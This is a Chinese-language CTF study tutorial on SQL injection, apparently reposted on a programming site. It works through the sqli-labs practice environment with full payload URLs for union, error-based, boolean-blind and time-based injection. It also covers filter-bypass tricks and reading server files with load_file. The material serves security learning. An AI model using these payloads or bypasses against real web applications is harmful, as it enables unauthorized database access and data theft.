概述
参考书目:《CTF特训营》《从0到1CTFer成长之路》
目录
1 什么是SQL注入
2 可回显的注入
2.1 可以联合查询的注入
2.2 报错注入
2.2.1 updatexml
2.2.2 floor
2.2.3 exp
3 不可回显的注入
3.1 Bool盲注
3.2 时间注入
1 什么是SQL注入
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
SQL注入的分类:
1)可回显的注入
- 可以联合查询的注入
- 报错注入
- 通过注入进行DNS请求,从而达到可回显的目的
2)不可回显的注入
- Bool盲注
- 时间注入
3)二次注入
2 可回显的注入
2.1 可以联合查询的注入
测试使用的环境:sqlilab lesson1
源码如下
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
联合查询只需闭合前面的单引号,注释掉后面的单引号,中间写上需要的payload即可
注意传递参数时遇到+,查询语句中并没有加号,这是因为服务器在处理用户输入时自动将加号转义为空格
http://1.15.59.63:81/Less-1/index.php?id=-5%27%20union%20select%201,database(),3%20--%20
注意注释后面引号时要使用"--%20"
成功注入
2.2 报错注入
测试使用的环境:sqlilab lesson5
2.2.1 updatexml
updatexml(XML_document, XPath_string, new_value)
XML_document是文档对象的名称
XPath_string是XPath格式的字符串(如果XPath_string不是XPath格式,则会报错并显示出XPath_string的值)
new_value替换查找到的数据
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
updatexml(1,concat(1,payload),1)。
concat()函数用于将多个字符串连接成一个字符串,目的是让拼接后的字符串不符合XPath格式使其报错,显示出要查的对象。
http://1.15.59.63:81/Less-5/index.php?id=-1%27%20union%20select%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)--%20
成功注入
2.2.2 floor
参考链接:https://blog.csdn.net/zpy1998zpy/article/details/80650540
floor()报错注入准确地说应该是floor,count,group by冲突报错
是当这三个函数在特定情况一起使用产生的错误。
and select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a
loor(rand(0)*2)x的x是为floor(rand(0)*2)添加了一个别名,就是x就等于floor(rand(0)*2),这样做的目的是让group by 和 floor(rand(0)*2)相遇,造成冲突报错
http://1.15.59.63:81/Less-5/index.php?id=-1%27%20union%20select%201%20from%20(select%20count(*),concat(database(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a%23
2.2.3 exp
exp报错的本质原因时溢出报错
http://1.15.59.63:81/Less-5/index.php?id=-1%27%20union%20select%201,2,exp(~(select%20*%20from%20(select%20user())x))--%20
3 不可回显的注入
3.1 Bool盲注
测试使用的环境:sqlilab lesson8
源码如下
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
这条语句判断mysql中的version函数的返回值的第一个字符是否为5,通过前面的知识可知道,当条件成立时,页面将显示有You are in,否则没有。
通过类似的手段我们可以获取到database(),@@datadir,user(),以及整个数据库的信息。
http://1.15.59.63:81/Less-8/index.php?id=1%27%20and%20substr(version(),1,1)=5--+
测试结果如下
3.2 时间注入
测试使用的环境:sqlilab lesson9
源码如下
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
时间盲注的本质时由于服务器拼接了sql语句,但是正确和错误存在同样的回显。错误信息被过滤,不过,可以通过页面响应时间进行按位判断数据
http://1.15.59.63:81/Less-9/index.php?id=1%27%20and%20if(substr(version(),1,1)=5,sleep(10),1)--+
测试如下所示
4 注入点的位置及发现
4.1 常见注入点的位置
- GET参数中注入
- POST参数中注入
- User-Agent中注入
可以通过设置sqlmap的参数level=3,这样sqlmap会自动检测User-Agent是否存在注入点
- Cookies中注入
可以通过设置sqlmap的参数level=2,这样sqlmap会自动检测Cookies是否存在注入点
4.2 判断注入点是否存在
- 插入单引号
- 数字型判断
- 通过数字的加减进行判断
5 SQL注入绕过
5.1 过滤关键字
即过滤如select or from等关键字。有些题目中未设置递归过滤,而且刚好将关键字替换为空。这时可以使用穿插关键字的方法进行绕过操作。
如:selselectect
也可以通过大小写转换
如果过滤函数通过十六进制进行过滤,可以对关键字的个别字母进行替换
select selecx74
或者通过双重URL编码绕过
5.2 过滤空格
1)通过注释绕过空格符
#、--、//、/**/、;%00
select/**/username
2)通过URL编码绕过
%20
3)通过空白字符绕过
如换行符
4)通过特殊符号,利用反引号绕过空格
select`user`
5)科学计数法绕过
5.3 过滤单引号
魔术引号,也就是PHP配置文件php.ini中magic_quote_gpc
5.4 绕过相等过滤
mysql中存在utf8_unicode_ci和utf8_general_ci两种编码格式
utf8_general_ci不仅不区分大小写,而且A''=A也成立
5 SQL读写文件
在用户拥有File权限的情况下,可以使用load_file和into outfile/dumpfile进行读写
?id=-1+union+select+load_file('/etc/hosts')
写入类似
最后
以上就是光亮小笼包为你收集整理的SQL注入攻击入门详解1 什么是SQL注入2 可回显的注入3 不可回显的注入4 注入点的位置及发现5 SQL注入绕过5 SQL读写文件的全部内容,希望文章能够帮你解决SQL注入攻击入门详解1 什么是SQL注入2 可回显的注入3 不可回显的注入4 注入点的位置及发现5 SQL注入绕过5 SQL读写文件所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复